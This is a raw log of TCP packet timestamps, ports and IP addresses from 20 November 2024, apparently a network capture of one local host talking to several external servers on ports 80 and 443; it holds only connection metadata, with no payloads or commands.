Nov 20, 2024 12:57:44.644516945 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.644551039 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.644637108 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.644665003 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.644701958 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.650135994 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.655927896 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.655955076 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.656029940 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.656056881 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.656781912 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.661452055 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.666440010 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.666488886 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.666508913 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.671224117 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.671252966 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.671324968 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.671334028 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.672907114 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.677270889 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.682465076 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.682528019 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.682538033 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.687820911 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.687911987 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.687917948 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.692445993 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.692487955 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.692498922 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.692507982 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.692542076 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.697208881 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.701201916 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.701400042 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.701419115 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.701426029 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.701571941 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.705457926 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.709568977 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.709640026 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.709647894 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.714658976 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.714716911 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.714725018 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.717540979 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.717605114 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.717629910 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.717741013 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.717777967 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.717786074 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.721518993 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.724915981 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.724934101 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.725472927 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.725527048 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.725541115 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.727713108 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.727787971 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.727797031 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.730057001 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.730192900 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.730201006 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.732345104 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.732424021 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.732434988 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.734667063 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.734744072 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.734751940 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.736980915 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.737034082 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.737042904 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.739335060 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.740897894 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.740914106 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.741666079 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.741734982 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.741744041 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.743238926 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.743349075 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.743357897 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.743886948 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.743983984 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.743993044 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.746289968 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:44.748434067 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.748609066 CET	49735	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:44.748630047 CET	443	49735	142.250.186.164	192.168.2.4
Nov 20, 2024 12:57:45.293339014 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:45.293399096 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:45.293517113 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:45.439364910 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:45.439405918 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:45.551784039 CET	49672	443	192.168.2.4	173.222.162.32
Nov 20, 2024 12:57:45.551832914 CET	443	49672	173.222.162.32	192.168.2.4
Nov 20, 2024 12:57:45.815443993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:45.815507889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:46.143250942 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:46.143292904 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:46.143363953 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:46.143543959 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:46.143563032 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:46.252258062 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:46.252341032 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:46.256405115 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:46.256424904 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:46.256944895 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:46.306003094 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:46.805789948 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:46.806087971 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:46.806117058 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:46.807576895 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:46.807627916 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:46.809030056 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:46.809128046 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:46.809207916 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:46.809218884 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:46.815133095 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:46.825283051 CET	49723	80	192.168.2.4	2.22.50.131
Nov 20, 2024 12:57:46.831756115 CET	80	49723	2.22.50.131	192.168.2.4
Nov 20, 2024 12:57:46.831824064 CET	49723	80	192.168.2.4	2.22.50.131
Nov 20, 2024 12:57:46.853096962 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:46.855326891 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.073704958 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.073771000 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.073806047 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.073832035 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.073841095 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.073863983 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.073882103 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.081176996 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.081235886 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.081234932 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.081255913 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.081296921 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.081304073 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.081504107 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.081573963 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.081594944 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.081620932 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:47.081629992 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.081645966 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.081660986 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:47.081671000 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.081701040 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:47.081710100 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.081729889 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:47.081794977 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.081845999 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:47.081851959 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.082078934 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.082129002 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:47.086255074 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.086337090 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.086353064 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.092408895 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.092459917 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.092473984 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.134279013 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.164078951 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.164203882 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.164246082 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.164273024 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.172713995 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.172764063 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.172836065 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.172858000 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.172907114 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.177601099 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.183954954 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.183995008 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.184042931 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.184065104 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.184104919 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.190124989 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.204451084 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.204499006 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.204509020 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.204536915 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.204626083 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.204632998 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.206392050 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.206437111 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.206473112 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.206480026 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.206512928 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.212167978 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.218072891 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.218121052 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.218127966 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.227860928 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.228286982 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.228346109 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.228355885 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.228388071 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.232036114 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.274056911 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.435687065 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.435784101 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.435817957 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.435856104 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.435878992 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.435892105 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.435909033 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.435911894 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.435950041 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.435966015 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.437484980 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.437661886 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.437673092 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.438611031 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.438653946 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.438663960 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.438683987 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.438776970 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.438827038 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.439024925 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.439069986 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.439076900 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.440983057 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.441040993 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.441061974 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.443176985 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.443233013 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.443236113 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.443259954 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.443331957 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.443516970 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.444313049 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.444391012 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.444401979 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.444659948 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.444699049 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.444706917 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.445084095 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.445127964 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.445137024 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.446042061 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.446101904 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.446110964 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.446120024 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.446156979 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.446672916 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.446861982 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.446907997 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.446914911 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.447490931 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.447530985 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.447557926 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.447568893 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.447601080 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.447627068 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.447633982 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.447671890 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.447679043 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.447777987 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.447823048 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.448414087 CET	49746	443	192.168.2.4	142.250.186.78
Nov 20, 2024 12:57:47.448434114 CET	443	49746	142.250.186.78	192.168.2.4
Nov 20, 2024 12:57:47.570442915 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:47.570489883 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:47.570504904 CET	49743	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:57:47.570513010 CET	443	49743	52.149.20.212	192.168.2.4
Nov 20, 2024 12:57:48.436918020 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:48.437176943 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:48.443783998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:48.443929911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:48.444003105 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:48.444156885 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:48.444156885 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:48.450846910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:48.450877905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:48.715692043 CET	49757	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:48.715740919 CET	443	49757	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:48.715866089 CET	49757	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:48.717010021 CET	49757	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:48.717022896 CET	443	49757	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.420030117 CET	443	49757	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.420116901 CET	49757	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:49.424585104 CET	49757	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:49.424612999 CET	443	49757	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.426245928 CET	443	49757	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.475904942 CET	49757	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:49.523334980 CET	443	49757	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.647233009 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:49.647520065 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:49.700869083 CET	49737	443	192.168.2.4	142.250.186.164
Nov 20, 2024 12:57:49.753514051 CET	443	49757	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.753768921 CET	49757	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:49.753791094 CET	443	49757	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.753803015 CET	49757	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:49.753969908 CET	443	49757	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.754009962 CET	443	49757	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.754041910 CET	49757	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:49.807004929 CET	49760	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:49.807054996 CET	443	49760	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.807178020 CET	49760	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:49.807713985 CET	49760	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:49.807728052 CET	443	49760	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:49.819900990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:49.819936991 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:49.824860096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:49.824875116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:49.825298071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:50.521509886 CET	443	49760	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:50.521600008 CET	49760	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:50.523272038 CET	49760	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:50.523288012 CET	443	49760	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:50.523535013 CET	443	49760	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:50.526850939 CET	49760	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:50.540817022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:50.541706085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:50.567336082 CET	443	49760	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:50.572748899 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:50.739721060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:50.869641066 CET	443	49760	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:50.879549026 CET	443	49760	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:50.879633904 CET	49760	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:50.879755020 CET	49760	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:50.879776955 CET	443	49760	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:50.879787922 CET	49760	443	192.168.2.4	184.28.90.27
Nov 20, 2024 12:57:50.879793882 CET	443	49760	184.28.90.27	192.168.2.4
Nov 20, 2024 12:57:51.457907915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:51.457976103 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:51.837642908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:51.845922947 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:52.564126015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:52.565777063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:52.819478989 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:52.826749086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.037410021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.037473917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.037508011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.037543058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.037571907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.037571907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.037576914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.037612915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.037628889 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.037628889 CET	49756	80	192.168.2.4	185.215.113.206
